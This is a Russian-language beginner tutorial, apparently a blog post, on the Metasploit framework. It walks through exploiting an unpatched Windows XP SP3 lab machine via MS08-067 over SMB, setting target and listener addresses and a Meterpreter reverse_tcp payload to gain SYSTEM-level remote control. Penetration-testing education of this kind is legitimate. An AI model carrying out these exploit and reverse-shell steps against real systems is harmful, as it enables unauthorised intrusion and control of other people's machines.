Metasploit
_unkn0wn9_Что такое Metasploit?
Metasploit - платформа для тестирования, поиска и эксплуатации уязвимостей. Написана на Ruby, что достаточно неудобно в плане разработки собственных эксплоитов, так как по большей части хак-комьюнити развивается в сторону использования Python.
Что нам интересно?
Откинем рассмотрение архитектуры и прочие теоретические моменты, которые описаны в куче других статей, повторяющих друг друга, и сразу взглянем на то, что нам может быть полезно. Это, конечно же, эксплоиты. Достаточно внушительная база готовых эксплоитов и полезных нагрузок содержится в MSF(Metasploit Framework). Конечно, все эти эксплоиты написаны для известных уязвимостей (и скорее всего давно известных, раз их успели добавить в MSF), но всё же это довольно приятно, иметь под рукой эксплоиты для большинства публичных уязвимостей.
Сканеры, фаззеры - имеется какое-то небольшое количество данных программных средств, однако заострять на этом внимание не вижу смысла, так как существуют специализированные решения для данных задач. Но стоит отметить, что при отсутствии различных сканеров и фазеров, MSF выступает как швейцарский нож.
Полезные нагрузки (payloads) - этим MSF богат, особенно стоит отметить многофункциональный payload, под именем Meterpreter.
Разработка своих модулей - скорее всего не совсем важно для новичков и даже середнячков, но при всей не любви автора к MSF и разработки модулей для него, стоит отдать должное наличию множества облегчающих разработку функций и классов. По сути, при разработке, вам не надо тратить время на написание сетевой части эксплоита или сканера, достаточно реализовывать только логику, и мудрить с полезной нагрузкой тоже не приходится (автор кое-что знает о разработке модулей для MSF, им было разработано около 5к строк кода для MSF).
Запуск.
Запуск производится из командной строки с помощью команды: msfconsole
После запуска, Вы попадаете в оболочку, предоставляемую MSF'ом
Теперь вы можете использовать эксплоиты/фаззеры/сканеры. Правда, немного не ясно какие эксплоиты есть. Для этого внутри MSF существует поиск, а также всегда можно использовать Гугл.
Пример использования эксплоита для получения удалённого доступа к машине.
Возьмём для примера Win XP SP3 с выключенным фаерволлом (брандмауэром).
Для начала нужно понять какие порты открыты (используем сетевой сканер nmap).
Видим, что на целевой машине открыт SMB. Попробуем поискать в гугле уязвимости для xp sp3 smb.
Google-запрос: windows xp sp3 smb vulnerabilities
Видим, что есть ссылка на сайт rapid7 (владельцы проекта MSF), зайдём по этой ссылке и увидим название Metasploit модуля, для эксплуатации.
Теперь, нужно просто использовать этот модуль.
Пишем следующую команду: use <название модуля>
use exploit/windows/smb/ms08_067_netapi
Если всё прошло успешно, то Вы увидите в консоли изменение, показанное на рисунке выше.
Теперь нужно просмотреть опции (настройки) данного эксплоита. Для всех модулей существует одна и та же команда для просмотра настроек. Это команда - options.
Практические все модули требуют настройки опций, так как необходимо указывать IP-адрес атакуемой машины и часто IP-адрес машины, осуществляющей перехват открываемой сессии (обычно это IP-адрес машины, с которой ведётся атака).
Устанавливаем IP-адрес цели и IP-адрес "слушающей" машины, а также полезную нагрузку, которая будет запущена после успешной эксплуатации и именно эта полезная нагрузка и позволит нам удалённо управлять машиной.
set RHOST 10.0.0.104
set LHOST 10.0.0.103
set PAYLOAD windows/meterpreter/reverse_tcp
Теперь необходимо запустить эксплоит и дождаться его выполнения (команды для запуска - exploit).
Если всё прошло успешно, то Вы увидите примерно следующее (рисунок выше). Теперь мы можем удалённо управлять компьютером: запускать процессы, удалять файлы, скачивать файлы и делать другие действия.
К примеру запустим калькулятор.
Посмотрим, произошёл ли запуск.
Видим, что от пользователя SYSTEM (хотя из под него невозможно войти в систему) был запущен процесс calc.exe (калькулятор).
Резюме
- MSF содержит в себе множество эксплоитов, это удобно для эксплуатации известных уязвимостей
- MSF имеет различные многофункциональные полезные нагрузки, что облегает эксплуатацию как известных, так и zero-day уязвимостей
- MSF предоставляет удобный интерфейс для разработки собственных эксплоитов (правда на Ruby)
- Использовать его не сложно, настраивать практические не нужно, если вы используете Kali Linux